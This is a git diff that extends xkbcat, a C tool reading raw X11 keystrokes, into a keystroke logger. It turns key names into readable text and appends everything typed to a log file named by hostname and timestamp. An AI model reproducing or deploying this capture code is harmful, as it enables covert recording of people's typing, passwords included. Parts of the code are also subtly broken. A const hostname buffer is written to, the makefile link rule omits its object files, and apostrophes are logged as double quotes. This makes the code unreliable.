diff --git a/makefile b/makefile index 6ec8604..e9db94c 100644 --- a/makefile +++ b/makefile @@ -1,4 +1,28 @@ -xkbcat: xkbcat.c - $(CC) -O3 --std=c99 -pedantic -Wall xkbcat.c -o xkbcat -lX11 -lXi +CC := gcc +LDLIBS := -lXi -lX11 +LDFLAGS := +CFLAGS := -O3 --std=c99 -Wall -pedantic -Wno-parentheses -fomit-frame-pointer +DEBUG := $(CFLAGS) -O0 -ggdb -fvar-tracking-assignments -fvar-tracking -fno-builtin +BIN := xkbcat + + +all: + make $(BIN) + +%.o: %.c + $(CC) $(CFLAGS) -c -o $@ $< + +%: %.o + $(CC) $(LDFLAGS) $(LDLIBS) -o $@ + clean: - rm --force xkbcat + rm -f *~ *.o $(BIN) + +debug: + CFLAGS="$(DEBUG)" make + +help: + echo "make " + + +.SILENT: all clean test help diff --git a/xkbcat.c b/xkbcat.c index 5e28cc2..f9950cb 100644 --- a/xkbcat.c +++ b/xkbcat.c @@ -3,28 +3,66 @@ #include #include +#include +#include +#include +#include +#include #include #include #include #include +#include +#include + +#define HOST_NAME_MAX 64 const char * DEFAULT_DISPLAY = ":0"; +const char * DEFAULT_LOGFILE = "xkbcat.log"; +const char * DEFAULT_HOSTNAME = "localhost"; const bool DEFAULT_PRINT_UP = false; +const unsigned int BUFFER_SIZE = 256; + +static FILE * logfileStream = NULL; + + +static void free_all(void) +{ + if (fclose(logfileStream) == EOF){ + perror("fclose()"); + } +} + int printUsage() { printf("\ USAGE: xkbcat [-display ] [-up]\n\ display target X display (default %s)\n\ - up also print key-ups (default %s)\n", - DEFAULT_DISPLAY, (DEFAULT_PRINT_UP ? "yes" : "no") ); - exit(0); + up also print key-ups (default %s)\n\ + logfile logfile path (default %s)\n", + DEFAULT_DISPLAY, (DEFAULT_PRINT_UP ? "yes" : "no"), + DEFAULT_LOGFILE ); + exit(EXIT_SUCCESS); } int main(int argc, char * argv[]) { const char * xDisplayName = DEFAULT_DISPLAY; + const char hostname[HOST_NAME_MAX + 1]; + //FILE * logfileStream = NULL; + //char * logfilePath = DEFAULT_LOGFILE; + char logfilePath[PATH_MAX + 1]; + char buffer[BUFFER_SIZE]; + char timestamp[BUFFER_SIZE]; + //int fd; + time_t rawtime; + struct tm * timeinfo; bool printKeyUps = DEFAULT_PRINT_UP; + memset(&buffer, 0x0, BUFFER_SIZE); + strncpy(logfilePath, DEFAULT_LOGFILE, PATH_MAX); + strncpy(hostname, DEFAULT_HOSTNAME, HOST_NAME_MAX); + // Get arguments for (int i = 1; i < argc; i++) { if (!strcmp(argv[i], "-help")) printUsage(); @@ -35,18 +73,32 @@ int main(int argc, char * argv[]) { if (i >= argc) { fprintf(stderr, "No value given to option `-display`\n"); printUsage(); - exit(5); + exit(EXIT_FAILURE); } xDisplayName = argv[i]; } + else if (!strcmp(argv[i], "-logfile")) { + // Read next entry to find value + ++i; + if (i >= argc) { + fprintf(stderr, "No value given to option `-logfile`\n"); + printUsage(); + exit(EXIT_FAILURE); + } + // logfilePath = argv[i]; + strncpy(logfilePath, argv[i], PATH_MAX); + } else { printf("Unexpected argument `%s`\n", argv[i]); printUsage(); } } + // Close file stream at exit + atexit(free_all); + // Connect to X display Display * disp = XOpenDisplay(xDisplayName); if (NULL == disp) { fprintf(stderr, "Cannot open X display '%s'\n", xDisplayName); - exit(1); + exit(EXIT_FAILURE); } int xiOpcode; @@ -55,7 +107,7 @@ int main(int argc, char * argv[]) { if (! XQueryExtension(disp, "XInputExtension", &xiOpcode, &queryEvent, &queryError)) { fprintf(stderr, "X Input extension not available\n"); - exit(2); + exit(EXIT_FAILURE); } } { // Request XInput 2.0, to guard against changes in future versions @@ -63,10 +115,10 @@ int main(int argc, char * argv[]) { int queryResult = XIQueryVersion(disp, &major, &minor); if (queryResult == BadRequest) { fprintf(stderr, "Need XI 2.0 support (got %d.%d)\n", major, minor); - exit(3); + exit(EXIT_FAILURE); } else if (queryResult != Success) { fprintf(stderr, "XIQueryVersion failed!\n"); - exit(4); + exit(EXIT_FAILURE); } } { // Register to receive XInput events @@ -90,7 +142,7 @@ int main(int argc, char * argv[]) { if (! XkbQueryExtension(disp, &xkbOpcode, &xkbEventCode, &queryError, &majorVersion, &minorVersion)) { fprintf(stderr, "Xkb extension not available\n"); - exit(2); + exit(EXIT_FAILURE); } } // Register to receive events when the keyboard's keysym group changes. @@ -107,6 +159,36 @@ int main(int argc, char * argv[]) { group = state.group; } + // Create a filename using the hostname and current timestamp: + // xkbcat_localhost_2023-06-11_09-57-11.log + if ( strcmp(logfilePath, DEFAULT_LOGFILE) == 0 ){ + gethostname(&hostname, HOST_NAME_MAX); + + time(&rawtime); + timeinfo = localtime(&rawtime); + + if (timeinfo == NULL) { + perror("localtime"); + exit(EXIT_FAILURE); + } + + if (strftime(timestamp, sizeof(timestamp)-1, "%Y-%m-%d_%H-%M-%S", timeinfo) == 0){ + fprintf(stderr, "strftime returned 0"); + exit(EXIT_FAILURE); + } + + snprintf(logfilePath, PATH_MAX, "xkbcat_%s_%s.log", hostname, timestamp); + } + + if ( (logfileStream = fopen (logfilePath, "a")) == NULL){ + fprintf(stderr, "Cannot open log file '%s'\n", logfilePath); + exit(EXIT_FAILURE); + } + + fprintf(stdout, "Log file created: %s\n", logfilePath); + fprintf(stdout, "Capturing keystrokes on display: %s\n", xDisplayName); + // fprintf(logfileStream, "[%s] %s\n", asctime(timeinfo), logline); + while ("forever") { XEvent event; XGenericEventCookie *cookie = (XGenericEventCookie*)&event.xcookie; @@ -145,12 +227,58 @@ int main(int argc, char * argv[]) { // Output line if (printKeyUps) printf("%s", cookie->evtype == XI_RawKeyPress ? "+" : "-"); - printf("%s\n", str); + + if (strcmp(str,"Enter") == 0) printf("\n"); + else if (strcmp(str,"space") == 0) printf(" "); + else if (strcmp(str,"semicolon") == 0) printf(";"); + else if (strcmp(str,"Return") == 0) printf("\n"); + else if (strcmp(str,"BackSpace") == 0) printf("\b"); + else if (strcmp(str,"Shift_L") == 0) printf(""); + else if (strcmp(str,"Shift_R") == 0) printf(""); + else if (strcmp(str,"Alt_L") == 0) printf(""); + else if (strcmp(str,"Alt_R") == 0) printf(""); + else if (strcmp(str,"Control_L") == 0) printf(""); + else if (strcmp(str,"Control_R") == 0) printf(""); + else if (strcmp(str,"apostrophe") == 0) printf("\""); + else if (strcmp(str,"slash") == 0) printf("/"); + else if (strcmp(str,"equal") == 0) printf("="); + else if (strcmp(str,"minus") == 0) printf("-"); + else if (strcmp(str,";") == 0) printf(";"); + else if (strcmp(str,"period") == 0) printf("."); + else if (strcmp(str,"periodcentered") == 0) printf("."); + else if (strcmp(str,"comma") == 0) printf(","); + else printf("%s", str); fflush(stdout); + + if (printKeyUps) fprintf(logfileStream, "%s", + cookie->evtype == XI_RawKeyPress ? "+" : "-"); + + if (strcmp(str,"Enter") == 0) fprintf(logfileStream, "\n"); + else if (strcmp(str,"space") == 0) fprintf(logfileStream, " "); + else if (strcmp(str,"semicolon") == 0) fprintf(logfileStream, ";"); + else if (strcmp(str,"Return") == 0) fprintf(logfileStream, "\n"); + else if (strcmp(str,"BackSpace") == 0) fprintf(logfileStream, "\b"); + else if (strcmp(str,"Shift_L") == 0) fprintf(logfileStream, ""); + else if (strcmp(str,"Shift_R") == 0) fprintf(logfileStream, ""); + else if (strcmp(str,"Alt_L") == 0) fprintf(logfileStream, ""); + else if (strcmp(str,"Alt_R") == 0) fprintf(logfileStream, ""); + else if (strcmp(str,"Control_L") == 0) fprintf(logfileStream, ""); + else if (strcmp(str,"Control_R") == 0) fprintf(logfileStream, ""); + else if (strcmp(str,"apostrophe") == 0)fprintf(logfileStream, "\""); + else if (strcmp(str,"slash") == 0) fprintf(logfileStream, "/"); + else if (strcmp(str,"equal") == 0) fprintf(logfileStream, "="); + else if (strcmp(str,"minus") == 0) fprintf(logfileStream, "-"); + else if (strcmp(str,";") == 0) fprintf(logfileStream, ";"); + else if (strcmp(str,"period") == 0) fprintf(logfileStream, "."); + else if (strcmp(str,"periodcentered") == 0) fprintf(logfileStream, "."); + else if (strcmp(str,"comma") == 0) fprintf(logfileStream, ","); + else fprintf(logfileStream, "%s", str); + fflush(logfileStream); } } // Release memory associated with event data XFreeEventData(disp, cookie); + // fclose(logfileStream); } else { // No extra data to release; `event` contains everything. // Handle keysym group change events if (event.type == xkbEventCode) {